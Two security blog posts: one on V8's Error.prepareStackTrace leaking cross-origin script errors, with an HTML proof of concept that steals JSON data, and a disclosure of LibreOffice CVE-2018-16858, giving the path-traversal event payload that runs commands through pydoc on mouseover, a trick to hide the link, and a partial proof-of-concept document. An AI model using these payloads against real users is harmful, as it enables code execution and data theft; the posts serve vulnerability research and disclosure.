Friday, July 26, 2019

Error.prepareStackTrace allows to catch cross-origin script errors


Normally it is not possible to properly catch JavaScript runtime errors, which are triggered by cross-domain JavaScript files via HTML script tags. I discovered that prepareStackTrace can bypass this restriction, when the developer console is opened by the user (I did not discover a bypass for the need of the console yet). This can lead to a cross-domain information leak as shown later. Maybe you, the reader, can find more use cases.

Error.prepareStackTrace


I discovered it via the following tweet: https://twitter.com/intenttoship/status/1146097840118272000 > "Blink: Intent to Remove: 'getThis' and 'getFunction' from the CallSite API"

This lead me to: https://v8.dev/docs/stack-trace-api#customizing-stack-traces

The JavaScript V8 engine exposes Error.prepareStackTrace(error, structuredStackTrace), which allows to capture error stracktraces.
The error parameter contains the error description. The structured stack trace is an array of CallSite objects, each of which represents a stack frame. A CallSite object defines the following methods:
- getThis: returns the value of this
- getTypeName: returns the type of this as a string. This is the name of the function stored in the constructor field of this, if available, otherwise the object’s [[Class]] internal property.
- getFunction: returns the current function
- getFunctionName: returns the name of the current function, typically its name property. If a name property is not available an attempt is made to infer a name from the function’s context.
- getMethodName: returns the name of the property of this or one of its prototypes that holds the current function
- getFileName: if this function was defined in a script returns the name of the script
[...]

Lets look at an example:

<!doctype HTML>
<meta charset="UTF-8" />
<script>
Error.prepareStackTrace = function(error,stacks)
{
   alert(error);
   alert("FunctionName: " + stacks[0].getFunctionName())
   return "MyStackObject";
}
function test(){
try{
  nothere();
  }
  catch(e){
  e.stack
  }

}
test()
</script>


This will alert the following text: "ReferenceError: nothere is not defined" and "FunctionName: test". It can be seen that the error parameter contains the string representation thrown by the JavaScript engine, as the function is not defined. The first stack value is the test function as it triggered the runtime error and therefore its name is returned by the getFunctionName call.

In case you would include remote script via <script src="http://remote/remotejs">, which causes an undefined JavaScript error, prepareStackTrace would not catch this error and it would only be displayed in the developer console.

The developer console

One interesting behavior I discovered is the fact, that Error.prepareStackTrace catches more errors when the developer console is opened. Suddenly it is able to catch "ReferenceError: <> is not defined" errors triggered by remotely loaded JavaScript files.
This does not sound too interesting at first. But modern websites often have JSON resources, which return information in an array like syntax: ["john","doe","address"], which can be loaded via a HTML script tag.
Gareth Heyes explored these kind of resources and documented his attack vectors back in 2016. One vector - Stealing JSON feeds in Chrome - abused the script tags charset attribute. By specifying the charset UTF-16BE, the remotely loaded JSON array will be interpreted as an UTF-16 variable. As it is not defined, it will cause a JavaScript runtime error. As usual Gareth abused JavaScript itself to be able to catch this undefined error. After catching the undefined UTF-16 variable, it is necessary to do some bit shifting to convert it back to the original ASCII text, therefore leaking the information to another domain. His way of catching the error was fixed in Google Chrome. 

But Error.prepareStrackTrace allows to catch "remote" undefined errors as well as soon as the developer console is opened. Therefore it is possible to abuse this attack again

The PoC


The following PoC needs to be hosted on a HTTP (not HTTPS) website or otherwise a mixed-content warning will be displayed. Of course you need to use a browser, which is using the JavaScript V8 engine like Chrome. It will display 'ReferenceError: 嬢獵灥牳散牥琢Ⱒ慢挢 is not defined', as it does not decode the UTF-16 variable:

<!doctype HTML>
<meta charset="UTF-8" />
<script>
Error.prepareStackTrace = function(error,stacks)
{
 alert(error);
 stacks[0].getThis().alert(stacks[0].getThis().location);
        return "MyStackObject";
}
</script>
<script charset="UTF-16BE"
src="http://subdomain1.portswigger-labs.net/utf-16be/chrome_steal_json_data_with_proxy/array.php">
</script>
<body>
<h1> open the developer console </h1>


The standard:


The behavior of Error.prepareStackTrace violates the standard (in case the developer console is opened):

6. If script's muted errors is true, then set message to "Script error.", urlString to the empty string, line and col to 0, and errorValue to null.

A muted errors boolean:

A boolean which, if true, means that error information will not be provided for errors in this script. This is used to mute errors for cross-origin scripts, since that can leak private information.

Friday, February 1, 2019

Libreoffice (CVE-2018-16858) - Remote Code Execution via Macro/Event execution



I started to have a look at Libreoffice and discovered a way to achieve remote code execution as soon as a user opens a malicious ODT file and moves his mouse over the document, without triggering any warning dialog. This blogpost will describe the vulnerability I discovered. It must be noted the vulnerability will be discussed in the context of Windows but Linux can be exploited the same way.

Tested LibreOffice version: 6.1.2.1 (6.0.x does not allow to pass parameters)
Tested Operating Systems: Windows + Linux (both affected)

https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/



The feature


I started to read the OpenDocument-v1.2-part1 specification to get a feeling for the file format. Additionally I created some odt files (which, similar to docx, are zip files containing files describing the file structure) so I can follow the file format specification properly. The specification for the office:scripts element peeked my interested so I started to investigate how this element is used. 
I stumbled upon the scripting framework documentation (which specifies that Basic, BeanShell, Java
JavaScript and Python is supported). Additionally I discovered how to create an ODT file via the GUI, which uses the office:script element (thanks google). 

Open Libreoffice writer => Insert => Hyperlink and click on the gear wheel icon (open the image so you can properly read it):



I choosed to use the onmouseover event and the python sample installed with LibreOffice. 
After assigning this script (or event as it is called in the LibreOffice world)  and saving this file, I was able to have a look at the created file structure:

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/>


This looked like it is loading a file from the local file system and that assumption is true (the path shown is for Windows but it is present for Linux as well): 
C:\Program Files\LibreOffice\share\Scripts\python\pythonSamples\TableSample.py 

The file contains a createTable function.

So I opened the created ODT file and moved the mouse over the link and to my surprise the python file was executed without any warning dialog.

Important side note:  LibreOffice ships with its own python interpreter, so there is no need that python is actually installed 


The Bug


Given that a local python file is executed, the first thing I tried was path traversal. After unzipping I modified the script:event-listener element like this:

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../../../../../../../TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/>

I zipped everything up, changed the extension to ODT and started ProcessMonitor. I configured it to only list libreoffice related events and opened the ODT file in LibreOffice. As soon as I moved my mouse over the hyperlink and therefore executing the event, I saw that the path traversal worked as a FILE NOT FOUND event was shown in ProcessMonitor!
To be sure that the feature still works with path traversal, I copy&pasted the original TableSample.py in the C:\ root directory and opened the ODT file again. Thankfully the python file was executed from C:\ as soon as the event was triggered. 
Lastly I changed the content of TableSample.py in the C:\ folder so it would create a file in case it is executed. I used the same ODT file again to execute the python file and the file was successfully dropped.
That meant I was able to execute any python file from the local file system, without a warning dialog as soon as the mouse is over the hyperlink in the document.

Exploitation


To properly exploit this behavior, we need to find a way to load a python file we have control over and know its location. At first I was investigating the location parameter of the vnd.sun.star.script protocol handler:

"LOCPARAM identifies the container of the script, i.e. My Macros, or OpenOffice.org Macros, or within the current document, or in an extension."

If we can specify a python script in the current document, we should have no problem loading a custom python script. This idea was a dead end really quick as by specifying location=document a dialog is shown- explaining that macros hosted inside the document are currently disabled. 

The next idea was abusing the location=user parameter. In case of Windows the user location points inside the AppData directory of the current user. The idea was to abuse the path traversal to traverse down into the users Download directory and load the ODT file as a python script (ergo creating a polyglot file, which is a python file + a working ODT file). Sadly this was a dead end as well as LibreOffice does not like any data before the ODT Zip header.

The solution


For the solution I looked into the python parsing code a little more in depth and discovered that it is not only possible to specify the function you want to call inside a python script, but it is possible to pass parameters as well (this feature seems to be introduced in the 6.1.x branch):

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../../../../../../../TableSample.py$functionName(param1,param2)?language=Python&amp;location=share" xlink:type="simple"/>


As LibreOffice ships with its own python interpreter and therefore a bunch of python scripts, I started to examine them for potential insecure functions I can abuse. After some digging I discovered the following code:

File:
C:\Program Files\LibreOffice\program\python-core-3.5.5\lib\pydoc.py

Code:
def tempfilepager(text, cmd):
    """Page through text by invoking a program on a temporary file."""
    import tempfile
    filename = tempfile.mktemp()
    with open(filename, 'w', errors='backslashreplace') as file:
        file.write(text)
    try:
        os.system(cmd + ' "' + filename + '"')
    finally:
        os.unlink(filename)

The user controlled cmd parameter is passed to the os.system call, which just passes the string to a subshell (cmd.exe on Window) and therefore allowing to execute a local file with parameters:

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe )?language=Python&amp;location=share" xlink:type="simple"/>


Some notes regarding the Proof-of-Concept Video. I changed the color of the Hyperlink to white so it can't be seen. Additionally the link covers the whole page, therefore increasing the chance a user moves his mouse over the link and executing my payload:



Reporting the bug


Reporting the bug was kind of a wild ride. At first I reported it via the libreoffice bugzilla system. Apparently for security issues it is better to send an email to officesecurity@lists.freedesktop.org, but I did not know that. So my bugzilla report got closed but I convinced them to have another look. The bug was picked up and moved to a thread via officesecurity@lists.freedesktop.org. The issue was verified and fixed quite fast. 

Timeline:
18.10.2018 - reported the bug
30.10.2018 - bug was fixed and added to daily builds
14.11.2018 - CVE-2018-16858 was assigned by Redhat - got told that 31.01.2019 is the date I can publish
01.02.2019 - Blogpost published


The path traversal is fixed in (I just tested these versions):
Libreoffice: 6.1.4.2
Libreoffice: 6.0.7

Vulnerable:
Openoffice: 4.1.6 (latest version)

I reconfirmed via email that I am allowed to publish the details of the vulnerability although openoffice is still unpatched. Openoffice does not allow to pass parameters therefore my PoC does not work but the path traversal can be abused to execute a python script from another location on the local file system.
To disable the support for python the pythonscript.py in the installation folder can be either removed or renamed (example on linux /opt/openoffice4/program/pythonscript.py)

Additional note

As I had some additional time until I could publish this blogpost I thought about ImageMagick, as it is using LibreOffice (soffice) to convert certain file types.
It is possible to use certain events to trigger the execution of a script as shown above but one additional parameter will be passed, which you have no control of. Therefore my PoC does not work but in case you are able to reference your own local python file, it is possible to abuse it via ImageMagick as well (given that 6.1.2.1 or another vulnerability version is installed)



Proof-of-concept - Copy&Paste and save it with an .fodt extension!

Openoffice does not support FODT files, so it is necessary to open it with Libreoffice and save it as an ODT file.

<?xml version="1.0" encoding="UTF-8"?>

<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
 <office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
 <office:settings>
  <config:config-item-set config:name="ooo:view-settings">
   <config:config-item config:name="ViewAreaTop" config:type="long">0</config:config-item>
   <config:config-item config:name="ViewAreaLeft" config:type="long">0</config:config-item>
   <config:config-item config:name="ViewAreaWidth" config:type="long">35959</config:config-item>
   <config:config-item config:name="ViewAreaHeight" config:type="long">12913</config:config-item>
   <config:config-item config:name="ShowRedlineChanges" config:type="boolean">true</config:config-item>
   <config:config-item config:name="InBrowseMode" config:type="boolean">false</config:config-item>
   <config:config-item-map-indexed config:name="Views">
    <config:config-item-map-entry>
     <config:config-item config:name="ViewId" config:type="string">view2</config:config-item>
     <config:config-item config:name="ViewLeft" config:type="long">9772</config:config-item>
     <config:config-item config:name="ViewTop" config:type="long">2501</config:config-item>
     <config:config-item config:name="VisibleLeft" config:type="long">0</config:config-item>
     <config:config-item config:name="VisibleTop" config:type="long">0</config:config-item>
     <config:config-item config:name="VisibleRight" config:type="long">35957</config:config-item>
     <config:config-item config:name="VisibleBottom" config:type="long">12912</config:config-item>
     <config:config-item config:name="ZoomType" config:type="short">0</config:config-item>
     <config:config-item config:name="ViewLayoutColumns" config:type="short">1</config:config-item>
     <config:config-item config:name="ViewLayoutBookMode" config:type="boolean">false</config:config-item>
     <config:config-item config:name="ZoomFactor" config:type="short">100</config:config-item>
     <config:config-item config:name="IsSelectedFrame" config:type="boolean">false</config:config-item>
     <config:config-item config:name="AnchoredTextOverflowLegacy" config:type="boolean">false</config:config-item>
    </config:config-item-map-entry>
   </config:config-item-map-indexed>
  </config:config-item-set>
  <config:config-item-set config:name="ooo:configuration-settings">
   <config:config-item config:name="ProtectForm" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrinterName" config:type="string"/>
   <config:config-item config:name="EmbeddedDatabaseName" config:type="string"/>
   <config:config-item config:name="CurrentDatabaseDataSource" config:type="string"/>
   <config:config-item config:name="LinkUpdateMode" config:type="short">1</config:config-item>
   <config:config-item config:name="AddParaTableSpacingAtStart" config:type="boolean">true</config:config-item>
   <config:config-item config:name="FloattableNomargins" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UnbreakableNumberings" config:type="boolean">false</config:config-item>
   <config:config-item config:name="FieldAutoUpdate" config:type="boolean">true</config:config-item>
   <config:config-item config:name="AddVerticalFrameOffsets" config:type="boolean">false</config:config-item>
   <config:config-item config:name="BackgroundParaOverDrawings" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AddParaTableSpacing" config:type="boolean">true</config:config-item>
   <config:config-item config:name="ChartAutoUpdate" config:type="boolean">true</config:config-item>
   <config:config-item config:name="CurrentDatabaseCommand" config:type="string"/>
   <config:config-item config:name="AlignTabStopPosition" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrinterSetup" config:type="base64Binary"/>
   <config:config-item config:name="PrinterPaperFromSetup" config:type="boolean">false</config:config-item>
   <config:config-item config:name="IsKernAsianPunctuation" config:type="boolean">false</config:config-item>
   <config:config-item config:name="CharacterCompressionType" config:type="short">0</config:config-item>
   <config:config-item config:name="ApplyUserData" config:type="boolean">true</config:config-item>
   <config:config-item config:name="SaveGlobalDocumentLinks" config:type="boolean">false</config:config-item>
   <config:config-item config:name="SmallCapsPercentage66" config:type="boolean">false</config:config-item>
   <config:config-item config:name="CurrentDatabaseCommandType" config:type="int">0</config:config-item>
   <config:config-item config:name="SaveVersionOnClose" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UpdateFromTemplate" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintSingleJobs" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrinterIndependentLayout" config:type="string">high-resolution</config:config-item>
   <config:config-item config:name="EmbedSystemFonts" config:type="boolean">false</config:config-item>
   <config:config-item config:name="DoNotCaptureDrawObjsOnPage" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UseFormerObjectPositioning" config:type="boolean">false</config:config-item>
   <config:config-item config:name="IsLabelDocument" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AddFrameOffsets" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AddExternalLeading" config:type="boolean">true</config:config-item>
   <config:config-item config:name="UseOldNumbering" config:type="boolean">false</config:config-item>
   <config:config-item config:name="OutlineLevelYieldsNumbering" config:type="boolean">false</config:config-item>
   <config:config-item config:name="DoNotResetParaAttrsForNumFont" config:type="boolean">false</config:config-item>
   <config:config-item config:name="IgnoreFirstLineIndentInNumbering" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AllowPrintJobCancel" config:type="boolean">true</config:config-item>
   <config:config-item config:name="UseFormerLineSpacing" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AddParaSpacingToTableCells" config:type="boolean">true</config:config-item>
   <config:config-item config:name="UseFormerTextWrapping" config:type="boolean">false</config:config-item>
   <config:config-item config:name="RedlineProtectionKey" config:type="base64Binary"/>
   <config:config-item config:name="ConsiderTextWrapOnObjPos" config:type="boolean">false</config:config-item>
   <config:config-item config:name="DoNotJustifyLinesWithManualBreak" config:type="boolean">false</config:config-item>
   <config:config-item config:name="EmbedFonts" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TableRowKeep" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TabsRelativeToIndent" config:type="boolean">true</config:config-item>
   <config:config-item config:name="IgnoreTabsAndBlanksForLineCalculation" config:type="boolean">false</config:config-item>
   <config:config-item config:name="RsidRoot" config:type="int">1115298</config:config-item>
   <config:config-item config:name="LoadReadonly" config:type="boolean">false</config:config-item>
   <config:config-item config:name="ClipAsCharacterAnchoredWriterFlyFrames" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UnxForceZeroExtLeading" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UseOldPrinterMetrics" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TabAtLeftIndentForParagraphsInList" config:type="boolean">false</config:config-item>
   <config:config-item config:name="Rsid" config:type="int">1115298</config:config-item>
   <config:config-item config:name="MsWordCompTrailingBlanks" config:type="boolean">false</config:config-item>
   <config:config-item config:name="MathBaselineAlignment" config:type="boolean">true</config:config-item>
   <config:config-item config:name="InvertBorderSpacing" config:type="boolean">false</config:config-item>
   <config:config-item config:name="CollapseEmptyCellPara" config:type="boolean">true</config:config-item>
   <config:config-item config:name="TabOverflow" config:type="boolean">true</config:config-item>
   <config:config-item config:name="StylesNoDefault" config:type="boolean">false</config:config-item>
   <config:config-item config:name="ClippedPictures" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TabOverMargin" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TreatSingleColumnBreakAsPageBreak" config:type="boolean">false</config:config-item>
   <config:config-item config:name="SurroundTextWrapSmall" config:type="boolean">false</config:config-item>
   <config:config-item config:name="ApplyParagraphMarkFormatToNumbering" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PropLineSpacingShrinksFirstLine" config:type="boolean">true</config:config-item>
   <config:config-item config:name="SubtractFlysAnchoredAtFlys" config:type="boolean">false</config:config-item>
   <config:config-item config:name="DisableOffPagePositioning" config:type="boolean">false</config:config-item>
   <config:config-item config:name="EmptyDbFieldHidesPara" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintAnnotationMode" config:type="short">0</config:config-item>
   <config:config-item config:name="PrintGraphics" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintBlackFonts" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintProspect" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintLeftPages" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintControls" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintPageBackground" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintTextPlaceholder" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintDrawings" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintHiddenText" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintTables" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintProspectRTL" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintReversed" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintRightPages" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintFaxName" config:type="string"/>
   <config:config-item config:name="PrintPaperFromSetup" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintEmptyPages" config:type="boolean">false</config:config-item>
  </config:config-item-set>
 </office:settings>
 <office:scripts>
  <office:script script:language="ooo:Basic">
   <ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink">
    <ooo:library-embedded ooo:name="Standard"/>
   </ooo:libraries>
  </office:script>
 </office:scripts>
 <office:font-face-decls>
  <style:font-face style:name="Arial1" svg:font-family="Arial" style:font-family-generic="swiss"/>
  <style:font-face style:name="Liberation Serif" svg:font-family="&apos;Liberation Serif&apos;" style:font-family-generic="roman" style:font-pitch="variable"/>
  <style:font-face style:name="Liberation Sans" svg:font-family="&apos;Liberation Sans&apos;" style:font-family-generic="swiss" style:font-pitch="variable"/>
  <style:font-face style:name="Arial" svg:font-family="Arial" style:font-family-generic="system" style:font-pitch="variable"/>
  <style:font-face style:name="Microsoft YaHei" svg:font-family="&apos;Microsoft YaHei&apos;" style:font-family-generic="system" style:font-pitch="variable"/>
  <style:font-face style:name="NSimSun" svg:font-family="NSimSun" style:font-family-generic="system" style:font-pitch="variable"/>
 </office:font-face-decls>
 <office:styles>
  <style:default-style style:family="graphic">
   <style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
   <style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
    <style:tab-stops/>
   </style:paragraph-properties>
   <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="10.5pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="12pt" style:language-complex="hi" style:country-complex="IN"/>
  </style:default-style>
  <style:default-style style:family="paragraph">
   <style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
   <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="10.5pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="12pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
  </style:default-style>
  <style:default-style style:family="table">
   <style:table-properties table:border-model="collapsing"/>
  </style:default-style>
  <style:default-style style:family="table-row">
   <style:table-row-properties fo:keep-together="auto"/>
  </style:default-style>
  <style:style style:name="Standard" style:family="paragraph" style:class="text"/>
  <style:style style:name="Heading" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Text_20_body" style:class="text">
   <style:paragraph-properties fo:margin-top="0.1665in" fo:margin-bottom="0.0835in" loext:contextual-spacing="false" fo:keep-with-next="always"/>
   <style:text-properties style:font-name="Liberation Sans" fo:font-family="&apos;Liberation Sans&apos;" style:font-family-generic="swiss" style:font-pitch="variable" fo:font-size="14pt" style:font-name-asian="Microsoft YaHei" style:font-family-asian="&apos;Microsoft YaHei&apos;" style:font-family-generic-asian="system" style:font-pitch-asian="variable" style:font-size-asian="14pt" style:font-name-complex="Arial" style:font-family-complex="Arial" style:font-family-generic-complex="system" style:font-pitch-complex="variable" style:font-size-complex="14pt"/>
  </style:style>
  <style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
   <style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/>
  </style:style>
  <style:style style:name="List" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="list">
   <style:text-properties style:font-size-asian="12pt" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss"/>
  </style:style>
  <style:style style:name="Caption" style:family="paragraph" style:parent-style-name="Standard" style:class="extra">
   <style:paragraph-properties fo:margin-top="0.0835in" fo:margin-bottom="0.0835in" loext:contextual-spacing="false" text:number-lines="false" text:line-number="0"/>
   <style:text-properties fo:font-size="12pt" fo:font-style="italic" style:font-size-asian="12pt" style:font-style-asian="italic" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss" style:font-size-complex="12pt" style:font-style-complex="italic"/>
  </style:style>
  <style:style style:name="Index" style:family="paragraph" style:parent-style-name="Standard" style:class="index">
   <style:paragraph-properties text:number-lines="false" text:line-number="0"/>
   <style:text-properties style:font-size-asian="12pt" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss"/>
  </style:style>
  <style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
   <style:text-properties fo:color="#000080" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
  </style:style>
  <text:outline-style style:name="Outline">
   <text:outline-level-style text:level="1" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="2" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="3" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="4" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="5" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="6" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="7" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="8" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="9" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="10" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
  </text:outline-style>
  <text:notes-configuration text:note-class="footnote" style:num-format="1" text:start-value="0" text:footnotes-position="page" text:start-numbering-at="document"/>
  <text:notes-configuration text:note-class="endnote" style:num-format="i" text:start-value="0"/>
  <text:linenumbering-configuration text:number-lines="false" text:offset="0.1965in" style:num-format="1" text:number-position="left" text:increment="5"/>
 </office:styles>
 <office:automatic-styles>
  <style:style style:name="T1" style:family="text">
   <style:text-properties officeooo:rsid="001104a2"/>
  </style:style>
  <style:page-layout style:name="pm1">
   <style:page-layout-properties fo:page-width="8.5in" fo:page-height="11in" style:num-format="1" style:print-orientation="portrait" fo:margin-top="0.7874in" fo:margin-bottom="0.7874in" fo:margin-left="0.7874in" fo:margin-right="0.7874in" style:writing-mode="lr-tb" style:footnote-max-height="0in">
    <style:footnote-sep style:width="0.0071in" style:distance-before-sep="0.0398in" style:distance-after-sep="0.0398in" style:line-style="solid" style:adjustment="left" style:rel-width="25%" style:color="#000000"/>
   </style:page-layout-properties>
   <style:header-style/>
   <style:footer-style/>
  </style:page-layout>
 </office:automatic-styles>
 <office:master-styles>
  <style:master-page style:name="Standard" style:page-layout-name="pm1"/>
 </office:master-styles>
 <office:body>
  <office:text>
   <text:sequence-decls>
